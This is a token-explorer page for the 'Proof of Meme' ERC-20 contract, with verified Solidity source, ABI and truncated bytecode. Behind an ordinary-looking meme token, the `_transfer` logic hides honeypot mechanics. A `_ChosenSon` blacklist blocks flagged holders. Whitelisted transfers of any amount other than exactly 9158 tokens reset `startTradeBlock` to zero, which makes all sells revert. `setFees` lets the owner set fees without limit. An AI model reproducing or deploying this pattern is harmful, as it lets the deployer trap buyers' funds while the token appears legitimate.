ETH Price: $3,424.08 (-2.11%)
Gas: 5 Gwei

Token

Proof of Meme (Make Meme Great Again)
 

Overview

Max Total Supply

1,000,000 Make Meme Great Again

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
22,699.217131691 Make Meme Great Again

Value
$0.00
0x492CF511D9f7975951B91D97b15567B427ae8196
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MMGA

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-29
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address payable adr) public virtual onlyOwner {
        _owner = adr;
        emit OwnershipTransferred(_owner,adr);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}


abstract contract baseToken is IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    uint256 private constant MAX = ~uint256(0);

    struct Fee{uint buy; uint sell;uint transfer; uint part;}
    Fee public fees;
    struct Allot{uint marketing;uint liquidity; uint burn;uint reward;uint total;}
    Allot public allot;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _ChosenSon;

    IUniswapV2Router02 public router;
    address public _mainPair;
    mapping(address => bool) public _swapPairList;
    address marketingAddress;
    uint256 public startTradeBlock;

    bool public swapEnabled = true;
    uint256 public swapThreshold;
    uint256 public maxSwapThreshold;

    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable() {
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;
        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;

        router = IUniswapV2Router02(RouterAddress);
        _allowances[address(this)][address(router)] = MAX;

        IUniswapV2Factory swapFactory = IUniswapV2Factory(router.factory());
        _mainPair = swapFactory.createPair(address(this), router.WETH());
        _swapPairList[_mainPair] = true;
        startTradeBlock = block.number;


        allot=Allot(0,10,0,0,10);
        fees=Fee(2,2,2,100);
        marketingAddress = msg.sender;
        swapThreshold = total.div(1000);
        maxSwapThreshold = total.div(100);

        _feeWhiteList[marketingAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(router)] = true;
        _feeWhiteList[msg.sender] = true;

        _balances[msg.sender] = total;
        emit Transfer(address(0), msg.sender, total);
    }

    function symbol() external view override returns (string memory) {return _symbol;}
    function name() external view override returns (string memory) {return _name;}
    function decimals() external view override returns (uint8) {return _decimals;}
    function totalSupply() public view override returns (uint256) {return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    receive() external payable {}
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_ChosenSon[from] ||  _feeWhiteList[to], "ChosenSon");
        bool takeFee;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    require(0 < startTradeBlock, "!startAddLP");
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (swapEnabled && contractTokenBalance > 0) {
                            if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
                            swapTokenForFund(contractTokenBalance);
                        }
                    }
                }
                takeFee = true;
            }
        }
        if(_feeWhiteList[from] && _feeWhiteList[to]){
            amount==9158*10**_decimals?startTradeBlock=block.number:startTradeBlock=0;
            _takeTransfer(from, to, amount);
            return;
         }
        _tokenTransfer(from, to, amount, takeFee);
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 99 / 100;
        _takeTransfer(
            sender,
            address(this),
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (_swapPairList[sender]) {
                swapFee = fees.buy;
            } else if(_swapPairList[recipient]) {
                swapFee = fees.sell;
            }else{
                swapFee = fees.transfer;
            }
            uint256 swapAmount = tAmount.mul(swapFee).div(fees.part);
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }
 
    function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
        uint amountToBurn = tokenAmount.mul(allot.burn).div(allot.total);
        uint amountToLiquify = tokenAmount.mul(allot.liquidity).div(allot.total).div(2);
        uint amountToSwap = tokenAmount.sub(amountToLiquify).sub(amountToBurn);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint amountETH =address(this).balance;
        uint totalETHFee = allot.total.sub(allot.liquidity.div(2)).sub(allot.burn);
        uint amountETHLiquidity = amountETH.mul(allot.liquidity).div(totalETHFee).div(2);
        uint amountETHreward = amountETH.mul(allot.reward).div(totalETHFee);
        uint fundAmount = amountETH.sub(amountETHLiquidity).sub(amountETHreward);
        bool tmpSuccess;
        if(fundAmount>0){
            (tmpSuccess,) = payable(marketingAddress).call{value: fundAmount, gas: 30000}("");
        }

        if (amountToLiquify > 0) {
            if (amountETHLiquidity > 0) {
                router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                marketingAddress,
                block.timestamp
            );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setAllot(uint marketing,uint liquidity,uint burn,uint rewards) external onlyOwner {
         uint total =liquidity.add(marketing).add(rewards).add(burn); 
         allot=Allot(marketing,liquidity,burn,rewards,total);
    } 

    function setFees(uint _buy,uint _sell,uint _transferfee,uint _part) external onlyOwner {
         fees=Fee(_buy,_sell,_transferfee,_part);
    } 

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyOwner {
        _feeWhiteList[addr] = enable;
    }

    function setChosenSon(address addr, bool enable) external onlyOwner {
        _ChosenSon[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

}

contract MMGA is baseToken {
    constructor() baseToken(
        address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
        "Proof of Meme",
        "Make Meme Great Again",
        9,
        1000000
    ){
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ChosenSon","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allot","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"},{"internalType":"uint256","name":"reward","type":"uint256"},{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fees","outputs":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"},{"internalType":"uint256","name":"transfer","type":"uint256"},{"internalType":"uint256","name":"part","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"},{"internalType":"uint256","name":"rewards","type":"uint256"}],"name":"setAllot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setChosenSon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_transferfee","type":"uint256"},{"internalType":"uint256","name":"_part","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001601760006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b50737a250d5630b4cf539739df2c5dacb4c659f2488d6040518060400160405280600d81526020017f50726f6f66206f66204d656d65000000000000000000000000000000000000008152506040518060400160405280601581526020017f4d616b65204d656d6520477265617420416761696e00000000000000000000008152506009620f4240336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550836003908162000105919062000b79565b50826004908162000117919062000b79565b5081600560006101000a81548160ff021916908360ff160217905550600082600a62000144919062000df0565b8262000151919062000e41565b90508060068190555085601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d6919062000ef6565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000363573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000389919062000ef6565b6040518363ffffffff1660e01b8152600401620003a892919062000f39565b6020604051808303816000875af1158015620003c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ee919062000ef6565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160146000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550436016819055506040518060a0016040528060008152602001600a81526020016000815260200160008152602001600a815250600b60008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050506040518060800160405280600281526020016002815260200160028152602001606481525060076000820151816000015560208201518160010155604082015181600201556060820151816003015590505033601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005c16103e8836200084560201b620014681790919060201c565b601881905550620005e26064836200084560201b620014681790919060201c565b601981905550600160106000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162000830919062000f77565b60405180910390a350505050505050620010ae565b60006200088f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200089760201b60201c565b905092915050565b60008083118290620008e1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008d8919062001023565b60405180910390fd5b5060008385620008f2919062001076565b9050809150509392505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200098157607f821691505b60208210810362000997576200099662000939565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620009c2565b62000a0d8683620009c2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000a5a62000a5462000a4e8462000a25565b62000a2f565b62000a25565b9050919050565b6000819050919050565b62000a768362000a39565b62000a8e62000a858262000a61565b848454620009cf565b825550505050565b600090565b62000aa562000a96565b62000ab281848462000a6b565b505050565b5b8181101562000ada5762000ace60008262000a9b565b60018101905062000ab8565b5050565b601f82111562000b295762000af3816200099d565b62000afe84620009b2565b8101602085101562000b0e578190505b62000b2662000b1d85620009b2565b83018262000ab7565b50505b505050565b600082821c905092915050565b600062000b4e6000198460080262000b2e565b1980831691505092915050565b600062000b69838362000b3b565b9150826002028217905092915050565b62000b8482620008ff565b67ffffffffffffffff81111562000ba05762000b9f6200090a565b5b62000bac825462000968565b62000bb982828562000ade565b600060209050601f83116001811462000bf1576000841562000bdc578287015190505b62000be8858262000b5b565b86555062000c58565b601f19841662000c01866200099d565b60005b8281101562000c2b5784890151825560018201915060208501945060208101905062000c04565b8683101562000c4b578489015162000c47601f89168262000b3b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000cee5780860481111562000cc65762000cc562000c60565b5b600185161562000cd65780820291505b808102905062000ce68562000c8f565b945062000ca6565b94509492505050565b60008262000d09576001905062000ddc565b8162000d19576000905062000ddc565b816001811462000d32576002811462000d3d5762000d73565b600191505062000ddc565b60ff84111562000d525762000d5162000c60565b5b8360020a91508482111562000d6c5762000d6b62000c60565b5b5062000ddc565b5060208310610133831016604e8410600b841016171562000dad5782820a90508381111562000da75762000da662000c60565b5b62000ddc565b62000dbc848484600162000c9c565b9250905081840481111562000dd65762000dd562000c60565b5b81810290505b9392505050565b600060ff82169050919050565b600062000dfd8262000a25565b915062000e0a8362000de3565b925062000e397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000cf7565b905092915050565b600062000e4e8262000a25565b915062000e5b8362000a25565b925082820262000e6b8162000a25565b9150828204841483151762000e855762000e8462000c60565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ebe8262000e91565b9050919050565b62000ed08162000eb1565b811462000edc57600080fd5b50565b60008151905062000ef08162000ec5565b92915050565b60006020828403121562000f0f5762000f0e62000e8c565b5b600062000f1f8482850162000edf565b91505092915050565b62000f338162000eb1565b82525050565b600060408201905062000f50600083018562000f28565b62000f5f602083018462000f28565b9392505050565b62000f718162000a25565b82525050565b600060208201905062000f8e600083018462000f66565b92915050565b600082825260208201905092915050565b60005b8381101562000fc557808201518184015260208101905062000fa8565b60008484015250505050565b6000601f19601f8301169050919050565b600062000fef82620008ff565b62000ffb818562000f94565b93506200100d81856020860162000fa5565b620010188162000fd1565b840191505092915050565b600060208201905081810360008301526200103f818462000fe2565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010838262000a25565b9150620010908362000a25565b925082620010a357620010a262001047565b5b828204905092915050565b61322b80620010be6000396000f3fe6080604052600436106101c65760003560e01c8063715018a6116100f7578063a842486111610095578063d83d414311610064578063d83d41431461066c578063dd62ed3e14610695578063f2fde38b146106d2578063f887ea40146106fb576101cd565b8063a8424861146105b2578063a9059cbb146105db578063acef1a4414610618578063d088935814610643576101cd565b80638da5cb5b116100d15780638da5cb5b146104ff57806395d89b411461052a5780639af1d35a14610555578063a806d62e14610583576101cd565b8063715018a6146104825780637888ffdf146104995780637d6027cd146104c2576101cd565b80633c11100d1161016457806366c907c51161013e57806366c907c5146103c85780636ddd1713146103f15780636fcba3771461041c57806370a0823114610445576101cd565b80633c11100d146103355780634188bf5a14610372578063553193ca1461039d576101cd565b8063095ea7b3116101a0578063095ea7b31461026557806318160ddd146102a257806323b872dd146102cd578063313ce5671461030a576101cd565b806301986fad146101d25780630445b6671461020f57806306fdde031461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f4919061244e565b610726565b6040516102069190612496565b60405180910390f35b34801561021b57600080fd5b50610224610746565b60405161023191906124ca565b60405180910390f35b34801561024657600080fd5b5061024f61074c565b60405161025c9190612575565b60405180910390f35b34801561027157600080fd5b5061028c600480360381019061028791906125c3565b6107de565b6040516102999190612496565b60405180910390f35b3480156102ae57600080fd5b506102b76107f5565b6040516102c491906124ca565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612603565b6107ff565b6040516103019190612496565b60405180910390f35b34801561031657600080fd5b5061031f6109a5565b60405161032c9190612672565b60405180910390f35b34801561034157600080fd5b5061035c6004803603810190610357919061244e565b6109bc565b6040516103699190612496565b60405180910390f35b34801561037e57600080fd5b506103876109dc565b604051610394919061269c565b60405180910390f35b3480156103a957600080fd5b506103b2610a02565b6040516103bf91906124ca565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea91906126b7565b610a08565b005b3480156103fd57600080fd5b50610406610b36565b6040516104139190612496565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e91906126b7565b610b49565b005b34801561045157600080fd5b5061046c6004803603810190610467919061244e565b610c2b565b60405161047991906124ca565b60405180910390f35b34801561048e57600080fd5b50610497610c74565b005b3480156104a557600080fd5b506104c060048036038101906104bb919061274a565b610dc0565b005b3480156104ce57600080fd5b506104e960048036038101906104e4919061244e565b610ea9565b6040516104f69190612496565b60405180910390f35b34801561050b57600080fd5b50610514610ec9565b604051610521919061269c565b60405180910390f35b34801561053657600080fd5b5061053f610ef2565b60405161054c9190612575565b60405180910390f35b34801561056157600080fd5b5061056a610f84565b60405161057a949392919061278a565b60405180910390f35b34801561058f57600080fd5b50610598610fa2565b6040516105a99594939291906127cf565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d4919061274a565b610fc6565b005b3480156105e757600080fd5b5061060260048036038101906105fd91906125c3565b6110af565b60405161060f9190612496565b60405180910390f35b34801561062457600080fd5b5061062d6110c6565b60405161063a91906124ca565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612822565b6110cc565b005b34801561067857600080fd5b50610693600480360381019061068e919061274a565b611187565b005b3480156106a157600080fd5b506106bc60048036038101906106b79190612875565b611270565b6040516106c991906124ca565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f491906128f3565b6112f7565b005b34801561070757600080fd5b50610710611442565b60405161071d919061297f565b60405180910390f35b60106020528060005260406000206000915054906101000a900460ff1681565b60185481565b60606003805461075b906129c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610787906129c9565b80156107d45780601f106107a9576101008083540402835291602001916107d4565b820191906000526020600020905b8154815290600101906020018083116107b757829003601f168201915b5050505050905090565b60006107eb3384846114b2565b6001905092915050565b6000600654905090565b600061080c84848461159d565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461099a5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109199190612a29565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600560009054906101000a900460ff16905090565b60146020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90612aa9565b60405180910390fd5b6000610acf83610ac184610ab389896119d990919063ffffffff16565b6119d990919063ffffffff16565b6119d990919063ffffffff16565b90506040518060a0016040528086815260200185815260200184815260200183815260200182815250600b60008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050505050505050565b601760009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce90612aa9565b60405180910390fd5b60405180608001604052808581526020018481526020018381526020018281525060076000820151816000015560208201518160010155604082015181600201556060820151816003015590505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054